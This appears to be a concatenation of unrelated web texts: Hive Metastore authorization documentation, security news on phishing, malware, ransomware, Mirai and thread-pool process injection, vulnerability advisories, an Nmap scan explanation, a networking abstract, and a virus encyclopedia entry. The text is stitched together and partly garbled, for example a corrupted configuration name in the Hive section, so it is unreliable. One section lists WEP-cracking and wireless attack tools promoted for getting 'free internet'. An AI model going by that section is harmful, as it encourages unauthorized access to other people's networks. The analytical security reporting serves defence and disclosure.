If we wanted to restrict each user to a specific set of databases, we could use roles to build the authorization mechanism. The administrator would create two roles, called role_db1 and role_db2. The role_db1 role would provide privileges just for the first database, and the role_db2 role would provide privileges just for the second database. The administrator could then grant the role_db1 role to group_db1, or explicitly for the users in the group, and do the same for role_db2 with the users of the second database. In order to allow users who need to see all databases to get their appropriate privileges, a third role could be created called role_all_dbs, which would be granted role_db1 and role_db2. When user_all_dbs is granted the role_all_dbs role, the user implicitly is granted all the privileges of role_db1 and role_db2.
Hive roles must be created manually before being used, unlike users and groups. Users and groups are managed by the hive.security.authenticator.manager. When a user connects to a Metastore Server and issues a query, the Metastore will determine the username of the connecting user, and the groups associated with that ushive.security.authorization.ername. That information is then used to determine if the user should have access to the metadata being requested, by comparing the required privileges of the Hive operation to the user privileges using the following rules:
- User privileges (Has the privilege been granted to the user)
- Group privileges (Does the user belong to any groups that the privilege has been granted to)
- Role privileges (Does the user or any of the groups that the user belongs to have a role that grants the privilege)
By default, the Metastore uses the HadoopDefaultAuthenticator for determing user -> group mappings, which determines authorization by using the Unix usernames and groups on the machine where the Metastore is running. To make this more clear, consider a scenario where a user foo is a member of group bar on the machine running the Hive CLI, and connects to a Metastore running on a separate server that also has a user named foo, but on the Metastore Server, foo is a member of group baz. When an operation is executed, the Metastore will determine foo to be in the group baz.
Taking this a step further, it is also possible for the groups that a user belongs to on the Metastore Server may differ from the groups that the same user belongs to, as determined by HDFS. This could be the case if Hive or HDFS are configured to use non-default user -> group mappers, or the Metastore and the Namenode both use the defaults, but the processes are running on different machines, and the user -> group mappings are not the same on each machine.
It is important to realize that Hive Metastore only controls authorization for metadata, and the underlying data is controlled by HDFS, so if permissions and privileges between the two systems are not in sync, users may have access to metadata, but not the physical data. If the user -> group mappings across the Metastore and Namenode are not in sync, as in the scenarios above, a user may have the privileges required to access a table according to the Metastore, but may not have permission to access the underlying files according to the Namenode. This could also happen due to administrator intervention, if permissions on the files were changed by hand, but Metastore grants had not been updated.
Names of Users and Roles
Role names are case sensitive. In Hive 0.13, however, there was a bug that caused it to have case insensitive behavior. That issue has been fixed in Hive 0.14.
User names are also case sensitive. Unlike role names, user names are not managed within Hive.
Quoted Identifiers in Version 0.13.0+
As of Hive 0.13.0, user and role names may optionally be surrounded by backtick characters (`) when the configuration parameter
hive.support.quoted.identifiers is set to
column (default value). All Unicode characters are permitted in the quoted identifiers, with double backticks (``) representing a backtick character. However when
hive.support.quoted.identifiers is set to
none, or in Hive 0.12.0 and earlier, only alphanumeric and underscore characters are permitted in user names and role names.
Viewing Granted Roles
The output of SHOW ROLE GRANT is in tabular format starting with Hive 0.13.0 (HIVE-6204).
The following privileges are supported in Hive:
- ALL - Gives users all privileges
- ALTER - Allows users to modify the metadata of an object
- UPDATE - Allows users to modify the physical data of an object
- CREATE - Allows users to create objects. For a database, this means users can create tables, and for a table, this means users can create partitions
- DROP - Allows users to drop objects
- INDEX - Allows users to create indexes on an object (Note: this is not currently implemented)
- LOCK - Allows users to lock or unlock tables when concurrency is enabled
- SELECT - Allows users to access data for objects
- SHOW_DATABASE - Allows users to view available databases
REVOKE priv_type will add the optional GRANT OPTION FOR clause in Hive 0.14.0 (HIVE-7404).
Viewing Granted Privileges
The output of SHOW GRANT is in tabular format starting with Hive 0.13.0 (HIVE-6204).
Hive Operations and Required Privileges
As of the release of Hive 0.7, only these operations require permissions, according to org.apache.hadoop.hive.ql.plan.HiveOperation:
CREATE TABLE AS SELECT
ALTER TABLE ADD COLUMN
ALTER TABLE REPLACE COLUMN
ALTER TABLE RENAME
ALTER TABLE ADD PARTITION
ALTER TABLE DROP PARTITION
ALTER TABLE ARCHIVE
ALTER TABLE UNARCHIVE
ALTER TABLE SET PROPERTIES
ALTER TABLE SET SERDE
ALTER TABLE SET SERDE
ALTER TABLE SET SERDEPROPERTIES
ALTER TABLE CLUSTER BY
ALTER TABLE PROTECT MODE
ALTER PARTITION PROTECT MODE
ALTER TABLE SET FILEFORMAT
ALTER PARTITION SET FILEFORMAT
ALTER TABLE SET LOCATION
ALTER PARTITION SET LOCATION
ALTER TABLE CONCATENATE
ALTER PARTITION CONCATENATE |
Malicious actors have injected themselves into ongoing email exchanges in highly targeted spear-phishing attacks aimed at entities across the world, Palo Alto Networks said on Thursday.
An ongoing campaign tracked by the security firm since May involves pieces of malware dubbed PoohMilk, Freenki and N1stAgent. The operation has been named FreeMilk by Palo Alto Networks based on strings found in the malware code.
The attacks observed by Palo Alto were aimed at a bank in the Middle East, an international sporting company, a trademark and intellectual property services firm in Europe, and individuals with indirect ties to an unnamed country in Northeast Asia.
The threat group has leveraged malicious Microsoft Word documents set up to exploit the vulnerability tracked as CVE-2017-0199 in an effort to deliver the first-stage loader PoohMilk and the second-stage downloader Freenki. PoohMilk was spotted delivering the remote administration tool (RAT) N1stAgent.
What makes the FreeMilk campaign interesting is the fact that the attackers delivered the malicious documents by injecting themselves into ongoing email exchanges between the main target and another individual. They hacked into that individual’s email account – likely by stealing their credentials – and identified an in-progress email exchange with the main target.
The attacker then sent the target an email that appeared relevant to the conversation with a malicious document attached to it.
“Unlike phishing or even general spear phishing, this is a highly sophisticated, labor intensive, focused attack,” explained Christopher Budd, Senior Threat Communications Manager at Palo Alto Networks.
“Carrying out a successful conversation hijacking spear phishing attack requires knowing someone that the ultimate target is communicating with, compromising that person’s account, identifying an ongoing email conversation with the ultimate target, crafting an email to appear part of that ongoing email conversation and finally sending it. Even then there’s no guarantee of success since the target may somehow recognize the attack or have sufficient prevention controls in place to prevent the attack from succeeding,” Budd added.
Another interesting aspect of the FreeMilk attacks is that all the malware is designed to only execute successfully if a specific argument is provided, which makes it difficult for automated analysis systems to investigate the threat.
The N1stAgent RAT, which has only been spotted in targeted attacks, was first seen in January 2016 when it was delivered via phishing emails referencing a security patch for the South Korean Hangul word processor developed by Hancom.
Palo Alto Networks has not made any statements regarding attribution, but it’s worth noting that attacks involving Hangul vulnerabilities and documents (HWP) have often been linked to North Korea.
The security firm did point to an August 2016 attack aimed at North Korean defectors in the United Kingdom. The attack, which delivered the Freenki malware, was linked at the time to the North Korean regime.
Researchers also discovered some overlaps in command and control (C&C) infrastructure with a campaign involving the ROKRAT RAT analyzed by Cisco Talos, and an attack analyzed last year by a Singapore-based security firm. However, the connection is not conclusive as the C&C domains were compromised sites and the attacks took place several months apart. |
In the ever-evolving landscape of cybersecurity, researchers are continually uncovering new methods that challenge existing defense mechanisms. A recent study by SafeBreach, a leader in cybersecurity research, has brought to light a novel process injection technique that exploits Windows thread pools, revealing vulnerabilities in current Endpoint Detection and Response (EDR) solutions. This groundbreaking research not only demonstrates the sophistication of potential cyber threats but also underscores the need for advanced defensive strategies in the digital world. Thread pool exploitation is challenging for EDRs to detect because it uses legitimate system mechanisms for malicious purposes. EDRs often look for known patterns of malicious activity, but when malware hijacks legitimate processes or injects code via expected system behaviors, such as those involving thread pools, it can blend in without raising alarms. Essentially, these techniques don’t leave the typical traces that EDRs are programmed to identify, allowing them to operate under the radar.
Understanding Process Injection:
Process injection is a technique often used by cyber attackers to execute malicious code within the memory space of a legitimate process. By doing so, they can evade detection and gain unauthorized access to system resources. Traditionally, this method involves three key steps: allocating memory in the target process, writing the malicious code into this allocated space, and then executing the code to carry out the attack.
The Role of Windows Thread Pools:
Central to this new technique is the exploitation of Windows thread pools. Thread pools in Windows are integral for managing worker threads, which are used to perform various tasks in the background. These pools efficiently manage the execution of multiple threads, reducing the overhead associated with thread creation and destruction. In legitimate scenarios, thread pools enhance the performance and responsiveness of applications. Windows thread pools are a system feature used to manage multiple threads efficiently. These pools allow for the execution of worker threads that perform tasks in the background, optimizing the use of system resources. Thread pools are integral to the Windows operating system and are used by various applications for performing asynchronous tasks.
SafeBreach’s research delves into how these thread pools can be manipulated for malicious purposes. By exploiting the mechanisms that govern thread pool operations, attackers can inject malicious code into other running processes, bypassing traditional security measures. This technique presents a significant challenge to existing EDR solutions, which are typically designed to detect more conventional forms of process injection. Here are some examples of such manipulations:
- Inserting Malicious Work Items:
- Attackers can insert malicious work items into the thread pool. These work items are essentially tasks scheduled to be executed by the pool’s worker threads. By inserting a work item that contains malicious code, an attacker can execute this code under the guise of a legitimate process.
- Hijacking Worker Threads:
- An attacker might hijack the worker threads of a thread pool. By taking control of these threads, the attacker can redirect their execution flow to execute malicious code. This method can be particularly effective because worker threads are trusted components within the system.
- Exploiting Timer Queues:
- Windows thread pools use timer queues to schedule tasks to be executed at specific times. An attacker could exploit these timer queues to schedule the execution of malicious code at a predetermined time, potentially bypassing some time-based security checks.
- Manipulating I/O Completion Callbacks:
- Thread pools handle I/O completion callbacks, which are functions called when an I/O operation is completed. By manipulating these callbacks, an attacker can execute arbitrary code in the context of a legitimate I/O completion routine.
- Abusing Asynchronous Procedure Calls (APCs):
- While not directly related to thread pools, attackers can use Asynchronous Procedure Calls, which are mechanisms for executing code asynchronously in the context of a particular thread, in conjunction with thread pool manipulation to execute malicious code.
- Worker Factory Manipulation:
- The worker factory in a thread pool manages the worker threads. By manipulating the worker factory, attackers can potentially control the creation and management of worker threads, allowing them to execute malicious tasks.
- Remote TP_TIMER Work Item Insertion:
- This involves creating a timer object in the thread pool and then manipulating it to execute malicious code. The timer can be set to trigger at specific intervals, executing the malicious code repeatedly.
- Queue Manipulation:
- Attackers can manipulate the queues used by thread pools to prioritize or delay certain tasks. By doing so, they can ensure that their malicious tasks are executed at a time when they are most likely to go undetected.
These examples illustrate the versatility and potential stealth of using Windows thread pools for malicious purposes. The exploitation of such integral system components poses a significant challenge to cybersecurity defenses, requiring advanced detection and prevention mechanisms. The following thread pool work items that can be scheduled in Windows. Here’s how each one could potentially be vulnerable to attacks:
- Worker Factory Start Routine Overwrite: Overwriting the start routine can redirect worker threads to execute malicious code.
- TP_WORK Insertion: By inserting TP_WORK objects, attackers could run arbitrary code in the context of a thread pool thread.
- TP_WAIT Insertion: Manipulating wait objects can trigger the execution of malicious code when certain conditions are met.
- TP_IO Insertion: By intercepting or inserting IO completion objects, attackers could execute code in response to IO operations.
- TP_ALPC Insertion: Attackers could insert ALPC (Advanced Local Procedure Call) objects to execute code upon message arrival.
- TP_JOB Insertion: Jobs can be associated with malicious actions, executed when certain job-related events occur.
- TP_DIRECT Insertion: Direct insertion allows immediate execution of code, which can be abused for running malware.
- TP_TIMER Insertion: Timers can be used by attackers to schedule the execution of malicious payloads at specific times.
These vulnerabilities generally stem from the fact that thread pools execute callback functions, which attackers may manipulate to point to their code, thus achieving code execution within the context of a legitimate process.
Implications for Endpoint Detection and Response (EDR) Solutions
The research by SafeBreach Labs tested the newly discovered Pool Party variants against five leading EDR solutions: Palo Alto Cortex, SentinelOne EDR, CrowdStrike Falcon, Microsoft Defender For Endpoint, and Cybereason EDR. The result was startling, as none of the tested EDR solutions were able to detect or prevent the Pool Party attack techniques. This underscores the need for ongoing innovation in cybersecurity defense mechanisms to keep pace with evolving threats. The exploitation of Windows thread pools for process injection, as highlighted in the SafeBreach article, has significant implications for Endpoint Detection and Response (EDR) solutions. These implications necessitate a reevaluation and enhancement of current EDR strategies:
- Challenge to Traditional Detection Methods:
- Traditional EDR solutions often rely on signature-based detection and known behavioral patterns to identify threats. However, the manipulation of Windows thread pools represents a more sophisticated attack vector that may not be easily detected through these conventional methods. This calls for an advancement in detection technologies.
- Need for Deeper System Monitoring:
- EDR solutions must now consider deeper system monitoring, particularly focusing on the internals of operating systems like thread pool activities, thread creation, and execution patterns. This level of monitoring can help in identifying anomalies that are indicative of thread pool exploitation.
- Enhancing Behavioral Analysis Capabilities:
- EDR systems need to enhance their behavioral analysis capabilities to detect unusual activities that could signify a threat. This includes monitoring for irregularities in thread pool usage, unexpected execution of code within thread pools, and other anomalies that deviate from normal system behavior.
- Integration of Advanced Heuristics:
- Integrating advanced heuristics and machine learning algorithms can help EDR solutions become more proactive in detecting new and sophisticated attack methods. These technologies can learn from evolving attack patterns and adapt their detection mechanisms accordingly.
- Improving Response Strategies:
- In addition to detection, EDR solutions must improve their response strategies to such threats. This includes automated containment measures, quick eradication of threats, and efficient recovery processes to minimize the impact of an attack.
- Collaboration and Threat Intelligence Sharing:
- EDR vendors and cybersecurity experts need to collaborate and share threat intelligence actively. By understanding the latest attack trends and techniques, such as those involving thread pool exploitation, EDR solutions can be better equipped to protect against them.
- Educating Users and Administrators:
- EDR solutions should also focus on educating users and system administrators about these new threats. Awareness can play a crucial role in early detection and response to sophisticated attacks.
- Regular Updates and Patch Management:
- Continuous updating and patch management are crucial. EDR solutions must ensure that they are updated with the latest threat definitions and that they can identify vulnerabilities in systems that need patching or updates.
- Zero Trust Approach:
- Implementing a zero trust approach can be beneficial. EDR solutions should treat every process and thread as a potential threat until verified, ensuring strict access controls and monitoring at all levels.
- Forensic Capabilities:
- Enhancing forensic capabilities is essential for post-incident analysis. Understanding how an attack was carried out, including thread pool exploitation, can provide valuable insights for strengthening EDR strategies.
In summary, the exploitation of Windows thread pools for process injection presents a complex challenge for EDR solutions, necessitating a shift towards more advanced, intelligent, and comprehensive cybersecurity strategies.
Mitigating threats that involve the exploitation of Windows thread pools for process injection requires a multi-faceted approach, combining advanced technological solutions with proactive security practices. Here are some potential measures and recommendations:
- Enhanced Detection Algorithms:
- Endpoint Detection and Response (EDR) solutions should incorporate advanced algorithms capable of detecting anomalous behaviors associated with thread pool manipulation. This includes unusual activity patterns in worker threads and unexpected changes in thread pool configurations.
- Deep System Monitoring:
- Implement deep monitoring of system internals, especially focusing on thread pools and worker thread activities. Monitoring should include the creation of work items, modifications to timer queues, and the execution patterns of threads.
- Regular Security Audits:
- Conduct regular security audits of systems to identify potential vulnerabilities. This includes reviewing and updating the configurations of thread pools and ensuring that security patches and updates are applied promptly.
- Advanced Threat Intelligence:
- Utilize advanced threat intelligence tools to stay informed about new vulnerabilities and attack techniques involving thread pools. This intelligence can be used to update defensive measures continuously.
- Employee Training and Awareness:
- Educate IT staff and employees about the latest cybersecurity threats, including those involving thread pool exploitation. Awareness can help in early detection and prevention of such attacks.
- Behavioral Analysis and Heuristics:
- Implement security solutions that use behavioral analysis and heuristics to detect unusual patterns that might indicate thread pool exploitation. This approach can identify attacks that traditional signature-based methods might miss.
- Zero Trust Architecture:
- Adopt a zero trust architecture where systems do not automatically trust any entity inside or outside the network. This approach can limit the impact of an attack by restricting access and permissions to essential resources only.
- Regular Software Updates:
- Ensure that all software, especially operating systems and security tools, are regularly updated. Updates often include patches for known vulnerabilities that could be exploited.
- Isolation of Sensitive Processes:
- Isolate sensitive processes in secure environments to reduce the risk of thread pool manipulation affecting critical operations. This can include using virtual machines or containers for added security.
- Incident Response Planning:
- Develop and maintain a robust incident response plan that includes procedures for dealing with thread pool exploitation. This plan should include steps for containment, eradication, recovery, and post-incident analysis.
By implementing these measures, organizations can strengthen their defenses against sophisticated attacks that exploit Windows thread pools, thereby enhancing their overall cybersecurity posture.
Information security specialist, currently working as risk infrastructure specialist & investigator.
15 years of experience in risk and control process, security audit support, business continuity design and support, workgroup management and information security standards. |
What is an Nmap Maimon scan and how does the tool interpret responses from it?
Your question actually led me down an intriguing path. I first checked the Nmap documentation, which referred to issue No. 49 of Phrack magazine, where, on Nov. 8, 1996, a gentleman named Uriel Maimon wrote an article entitled "Port Scanning without the SYN flag". The documentation added that the Maimon scan uses packets with both the FIN and ACK flags set.
That seemed like a simple, reasonable explanation, until I turned to the source and read Uriel's article for fact-checking purposes. It turns out that his article described sending an initial FIN packet followed by an ACK packet and then looking for discrepancies between their TTL values.
After hearing these conflicting facts, I used Nmap to run a Maimon scan, monitoring the session with the Ethereal packet sniffer. It turns out that the Nmap documentation correctly describes Nmap's behavior: it sends packets with both the FIN and ACK flags set. This mimics the second stage (FIN/ACK) of the three-way handshake used to tear down a TCP/IP connection. The setting also provides an alternative to FIN probes, which mimic the first step of the TCP breakdown handshake, and SYN probes, which mimic the first step of the connection setup handshake.
Why would you use Maimon's FIN/ACK probe? It's simply another way of eliciting responses from systems that are configured to cloak their presence on the network. Consider it one more weapon in your probe arsenal.
- Want to use nmap in your organization? Read SearchSecurity.com's Nmap Technical Guide.
- When it comes to network discovery tools, is there anything more comprehensive than Nmap? Michael Cobb explains.
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Virtually all theoretical work on message routing in parallel computers has dwelt on packet routing: messages are conveyed as packets, an entire packet can reside at a node of the network, and a packet is sent from the queue of one node to the queue of another node until its reaches its destination. The current trend in multicomputer architecture, however, is to use wormhole routing. In wormhole routing a message is transmitted as a contiguous stream of bits, physically occupying a sequence of nodes/edges in the network. Thus, a message resembles a worm burrowing through the network. The authors give theoretical analyses of simple wormhole routing algorithms, showing them to be nearly optimal for butterfly and mesh connected networks. The analysis requires initial random delays in injecting messages to the network. They report simulation results suggesting that the idea of random initial delays is not only useful for theoretical analysis but may actually improve the performance of wormhole routing algorithms. |
Wireless: Wireless isolation and whether the SonicWALL wireless can stop ARP poisoning
03/26/2020 1 7138
Question: Wireless isolation in SonicWall and whether the SonicWALL wireless can stop ARP poisoning ?
If clients connect to the same ssid, they are on same broadcast domain.
That is why other client can receive the ARP request or other broadcast packets from other clients.
Further, all clients will share same group key if associate same ssid.
So it doesn’t make sense to isolate ARP request or other broadcast packets. All unicast packet will be forwarded to gateway, and UTM can apply any security rules to control inter-client communication.
SonicWALL UTM won’t do arp proxy. If the client request other client ARP, then the other client reply ARP itself.
There is no way to filter broadcast packet on same L2 domain. Every client needs to listen/send broadcast packets over the same L2 domain. |
As cryptocurrencies gain popularity and value, cybercriminals have been quick to act and there is a rising trend of hackers targeting devices in a bid to mine cryptocurrencies. According to a new report released by security researchers the latest attack has seen hackers use double cryptocurrency miners to exploit a vulnerability in the Oracle server to spread two cryptocurrency miners simultaneously.
Security researchers at Trend Micro have discovered this new campaign that uses the vulnerability on the Oracle WebLogic WLS-WSAT flaw (CVE-2017-10271), which allows cybercriminals to launch two crypto miners a – 32 – bit and a – 64 – bit variant of the XMRig Monero miner. The two crypto miners are deployed on devices that use the Windows OS depending on its compatibility with the malware variants.
In a blog post, The Trend Micro researchers said:
“Our analysis of the latest payload shows that the architecture of Windows OS plays a part in deciding which coin miner will run,”
“The first Monero miner is a 64-bit variant which will execute on a corresponding 64-bit Windows device. But, if the device is running a 32-bit Windows version then the second coin miner will run instead.”
Given that it takes an enormous amount of computing power to mine cryptocurrencies, the malware variants try to infect as many devices as possible.
The double cryptocurrency miners are capable of starting up daily and automatically. On this, the researchers believe “the malware developers of this particular exploit have more chances to infect machines and use them for crypto mining”.
Another Trend researcher notes:
“The user may not attribute the issue to a compromise at first since the effects can be caused by other factors. But, as we mentioned, cryptocurrency miners have been on the rise since mid-2017, and users should expect more malware variants that aim to hijack their system resources. Cybercriminals are taking every opportunity and experimenting with new ways to deliver mining malware to users,”
There is no need to panic though as security experts say there is a way to beat these double cryptocurrency miners. They advise patching and updating your software regularly to avoid falling victim to the malware.
In the comment section below tell us what you think of this story. |
The internet is going to be flooded with attacks from new malware that targets insecure routers, IP cameras, digital video recorders, and similar vulnerable devices. In the last couple of months, malware known as “Mirai” has been using botnets to orchestrate massive DDoS attacks that have caused vast internet outages around the world. Mirai’s first casualty was the website of a computer security journalist, Brian Krebs, who writes the KrebsonSecurity blog that was attacked on September 20, 2016. Since then, it has moved on to bring down French web host OVH with a 1 Tbps attack, with the latest being multiple major DDoS attacks against the DNS provider Dyn that brought down several high-profile websites, including Amazon, Twitter, and Netflix. A majority of these Internet of Things (IoT) devices were IP cameras and digital video recorders manufactured by XiongMai Technologies. There is speculation that the remaining infected devices could contain a component by the same manufacturer.
What is Mirai?
Mirai employs IoT devices as botnets for its DDoS attacks. It continuously scans the internet for IP addresses of these IoT devices and attempts a log in using its repository of factory-default or hardcoded user names and passwords. Once it gains access to the IoT devices and infects them, they are turned into bots that report to a central control server. This server can then act as a staging ground for launching powerful DDoS attacks. Infected devices will continue to function normally but with a sudden spike in bandwidth usage. A reboot will wipe the infection but unless the login password is changed immediately, a Mirai scan will redeliver the device’s IP address and it will become compromised once again. Although a password change can prevent the malware from logging in, it becomes insufficient when Mirai uses telnet or SSH to gain access.
Gartner predicts that the number of IoT devices in households will reach 20.8 billion by 2020. There are hundreds of thousands of these devices that use default settings, as evidenced by the fact that Mirai was able to induct more than 380,000 IoT devices into its bot army. The main reasons the latest malware uses a large number of IoT devices for DDoS attacks are to avoid being traced and to take advantage of virtually unlimited bandwidth. Since traditional anti-DDoS software blocks an IP address based on its abnormal traffic pattern, making use of several IoT devices can bypass this filter. With the boundless capabilities of Mirai, researchers are curious about its future and remediation.
The next wave of Mirai
On October 3, 2016, a HackForums user with the moniker “Anna-senpai” made the Mirai code public. After this move, security analysts felt that the bots would die off over time. But new research suggests that attackers are now finding new ways to infect devices that were previously unsusceptible. The malware is evolving every day. New capabilities are being added and even more devices are being infected to generate waves of malicious traffic. Until a better solution to this problem is identified, all the IoT devices with default login passwords must be discovered using a Mirai scan and have their default passwords changed. XiongMai Technologies must patch its vulnerabilities soon and must be audited by an independent cyber-security organization. Until then, people should be made aware of the vulnerabilities of IoT devices from such vendors and pursue due diligence when opting for an IoT device.
Any IP device is going to be vulnerable and hackers are going to circumvent your security policies to infect them. This leaves any entity with only two options to stall malicious users – build more walls or rebuild broken walls faster. Enterprises should have the capability to identify attacks quickly and be able to remediate even quicker. When time is of the essence, automation can help you move faster, eliminate errors and reduce costs. So, how resilient are you? |
Authentication Bypass Affecting microsoft.aspnetcore.mvc.cors package, versions [1,1.0.4) [1.1,1.1.3)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.Test your applications
- Snyk ID SNYK-DOTNET-MICROSOFTASPNETCOREMVCCORS-60088
- published 12 May 2017
- disclosed 12 May 2017
- credit Mikhail Shcherbakov
How to fix?
Microsoft.AspNetCore.Mvc.Cors to version 1.0.4, 1.1.3 or higher.
Microsoft.AspNetCore.Mvc.Cors is a package for cross-origin resource sharing (CORS) features.
Affected versions of this package are vulnerable to Authentication Bypass attacks. The ASP.NET Core fails to properly sanitize the Web Request Handler component, allowing an attacker to spoof web requests and bypass authentication. |
THE point-of-sale machines designed to verify chip-and-PIN credit and debit cards may be vulnerable to hardware attacks that allow crooks to steal PINs.
Ross Anderson, Saar Drimer and Steven Murdoch at the University of Cambridge computer security lab discovered that it is possible to attach a simple data-tapping circuit between an inserted card and the reading circuit of two common PIN entry devices (PEDs) – made by Ingenico and Dione. This could allow someone to record both the account number and the PIN. “Armed with this, fraudsters can counterfeit cards and withdraw cash from ATMs [in countries without chip-and-PIN systems],” says Anderson. “We have successfully demonstrated the attack,” he adds.
“These PEDs fail to protect the communication path that carries data from the card to the PIN keypad, and that carries the PIN from the keypad back to the card,” says Drimer.
The devices fail to protect the path carrying the card data to the keypad
The researchers say that little technical sophistication is required to carry out the attack. They also question the system under which PEDs are certified as secure.
PEDs are supposed to be evaluated under a checking regime called the “common criteria”, originally developed by the UK Government Communications Headquarters (GCHQ) in Cheltenham, Gloucestershire. However, the Cambridge team says GCHQ, which licenses UK labs to carry out security checks, has no evidence that such checks were performed on the Ingenico and Dione devices. And because it is possible for the extra data-tapping circuitry to be attached to the devices, they do not meet common criteria standards, the researchers say. They are calling for the vendors to withdraw the two PEDs in question until the alleged flaws are fixed. |
Multiple vulnerabilities have been discovered in Skeletonz CMS, which can be exploited by malicious people to conduct script insertion attacks.
Input passed via the "Name", "Website", and "Email" fields when submitting a comment is not properly sanitised before being used. This can be exploited to insert arbitrary HTML and script code, which will be executed in a user's browser session in context of an affected site.
Successful exploitation requires that the Blog plugin is enabled.
The vulnerability is confirmed in version 1.0. Other versions may also be affected.
Solution: Filter malicious characters and character sequences in a proxy.
Do you have additional information related to this advisory?
Please provide information about patches, mitigating factors, new versions, exploits, faulty patches, links, and other relevant data by posting comments to this Advisory. You can also send this
information to [email protected] |
A new ransomware variant – called KeyPass ransomware – is being used in a new campaign that has seen many victims created around the world. While Brazil and Vietnam have taken the brunt of the attacks, there have been victims in more than 20 countries with the list growing by the day. KeyPass ransomware is written in C++ and is a variant of STOP ransomware.
At present it is not known how the KeyPass ransomware attacks are taking place. Some security researchers suggest the ransomware is being bundled with fake software installers and fake versions of the KMSpico cracking tool, although that does not appear to be the case with all infections. Other methods of distribution are therefore suspected including RDP attacks, drive-by-downloads, and spam email.
Once downloaded, the payload is copied to the %LocalAppData% folder and the original file is deleted. In contrast to many ransomware variants, KeyPass ransomware enumerates all local drives and network shares and searches for all files on the infected device, only skipping certain file directories which are hardcoded in the ransomware. Once encrypted, the files are given the KEYPASS file extension.
Researchers at Kaspersky Lab have analyzed the ransomware and report that it uses “AES-256 in CFB mode with zero IV and the same 32-byte key for all files,” with a maximum of 0x500000 bytes of data encrypted from the beginning of each file. Communication between KeyPass ransomware and its C2 server is in JSON via plain HTTP. Encryption is still possible even if the C2 server cannot be contacted. In such cases, a hardcoded key and ID is used.
The authors demand a ransom of $300 to supply the key to unlock the encrypted files. Contact must be made within 72 hours of infection to guarantee that price. The attackers offer to decrypt 1-3 small files free of charge as a demonstration that they have the ability to unlock the encryption.
Kaspersky Lab researchers note that the developers of KeyPass ransomware have included the functionality to take manual control and customize the encryption process. This suggests the ransomware may be used in attacks once access to a computer has been gained. This would allow the attackers, among other things, to change the ransom amount.
There is no free decryptor. Recovery without paying the ransom is only possible by restoring encrypted files from backups.
Protecting against attacks requires standard best practices to be adopted including setting strong, unique passwords for RDP, making sure RDP cannot be accessed via the internet, and using rate limiting to prevent brute force attacks. Caution should be exercised when opening emails, an effective spam and web filtering solution should be deployed, and a powerful antivirus solution should be in place. Naturally, regular backups should be performed with at least one copy stored on an air-gapped device. |
Wifi related tools to get free internet connection and more
* NetStumbler-0.4.0: wireless access point identifier - listens for SSIDs and sends beacons as probes searching for access points.
* Kismet-2005-08-R: wireless sniffer and monitor - passively monitors wireless traffic and sorts data to identify SSIDs, MAC addresses, channels and connection speeds.
* Wellenreiter-v1.9: WLAN discovery tool - uses brute force to identify low traffic access points; hides your real MAC address; integrates with GPS.
* WEP-0.1.0: Unix based-pearl aplication encryption breaker - *****s 802.11 WEP encryption keys using the latest discovered weakness of RC4 key scheduling.
* Airsnort-0.2.7e: encryption breaker - passively monitoring transmissions, computing the encryption key when enough packets have been gathered.
* Wepwedgie-0.1.0-alpha: for toolkit that determines 802.11 WEP keystreams and injects traffic with known keystreams in order to ***** WEP in minutes.
* Hotspotter-0.4: Wireless client attacking too.
Most programs are open source, and very useful if you know what your doing.
* Advanced Bash-Scripting Guide
This document is both a tutorial and a reference on shell scripting with Bash. It assumes no previous knowledge of scripting or programming, but progresses rapidly toward an intermediate/advanced level of instruction. The exercises and heavily-commented examples invite active reader participation. Still, it is a work in progress. The intention is to add much supplementary material in future updates to this document, as it evolves into a
comprehensive book that matches or surpasses any of the shell scripting manuals in print.
* Bash Guide for Beginners
The Bash Guide for Beginners gets you started with Bash scripting and bridges the gap between the Bash HOWTO and the Advanced Bash Scripting Guide. Everybody who wants to make life easier on themselves, power users and sysadmins alike, can benefit from reading this practical course. The guide contains lots of examples and exercises at the end of each chapter, demonstrating the theory and helping you practice. Bash is available on a wide variety of UNIX, Linux, MS Windows and other systems.
* The Linux Network Administrator's Guide, Second Edition
This book was written to provide a single reference for network administration in a Linux environment. Beginners and experienced users alike should find the information they need to cover nearly all important administration activities required to manage a Linux network configuration. The possible range of topics to cover is nearly limitless, so of course it has been impossible to include everything there is to say on all subjects. We've tried to cover the most important and common ones. We've found that beginners to Linux networking, even those with no prior exposure to Unix-like operating systems, have found this book good enough to help them successfully get their Linux network configurations up and running and get them ready to learn more.
Surf The World For Free WiFi Radar & WiFi Hack Tools (Snip The WiFi Soft, Brake Its Security, And Surf The Universe). Surf The Internet Freely Charged. |
Cholera and CTX were created by a member of 29A virus writers group for the Simbiosis project. This project was created to check how well the simbiosis of a Win32 virus and an Internet worm works and how fast it spreads. The virus-worm file is named SETUP.EXE and it contains an encrypted Cholera worm executable infected with a CTX virus. This file is usually received as an email attachment. The message contains only a 'smile' sign - ':)'. If the SETUP.EXE file is run the system becomes infected with both CTX virus and Cholera worm.
Based on the settings of your F-Secure security product, it will either move the file to the quarantine where it cannot spread or cause harm, or remove it.
A False Positive is when a file is incorrectly detected as harmful, usually because its code or behavior resembles known harmful programs. A False Positive will usually be fixed in a subsequent database update without any action needed on your part. If you wish, you may also:
Check for the latest database updates
First check if your F-Secure security program is using the latest detection database updates, then try scanning the file again.
Submit a sample
After checking, if you still believe the file is incorrectly detected, you can submit a sample of it for re-analysis.
NOTE If the file was moved to quarantine, you need to collect the file from quarantine before you can submit it.
Exclude a file from further scanning
If you are certain that the file is safe and want to continue using it, you can exclude it from further scanning by the F-Secure security product.
Note You need administrative rights to change the settings.
Cholera worm being activated displays a message:
Cannot open file: it does not appear to be a valid archive. If you downloaded this file, try downloading the file again.
This is a disguise only. At the same time the worm copies itself to \Windows\ directory and modifies WIN.INI to be run during all further Windows startups. The worm adds its execution string to 'RUN=' statement in WIN.INI file. On NT systems Cholera modifies Registry as WIN.INI file is not used to run files at startup.
Being active in memory the worm waits until any Internet-using application (TelNet, mIRC, Netscape, IE) is executed and then spreads itself by sending its copy to email addresses previously picked up from DBX, EML, HTM, HTML, IDX, MBX, NCH and TXT files. The worm tries to find these files on infected system hard disk. The worm does not use MAPI routines or any mail browser to send itself out - it has its own SMTP engine. As the worm spreads itself while other Internet clients are working, its presence and activities are very hard to notice.
The CTX virus is an 'advanced' Win32 virus (as its creator states) it has features not typical for other Win32 viruses - self-integrity check, way of searching for Windows APIs by using CRCs instead of API names, EPO - Entry Point Obscuring (placing a jump to its body somewhere inside an infected file). Being activated the virus looks for Windows PE executables and infects them. The infection is of appending type. The virus body is encrypted. CTX virus doesn't have any payload and it manifests itself by a video effect only. |
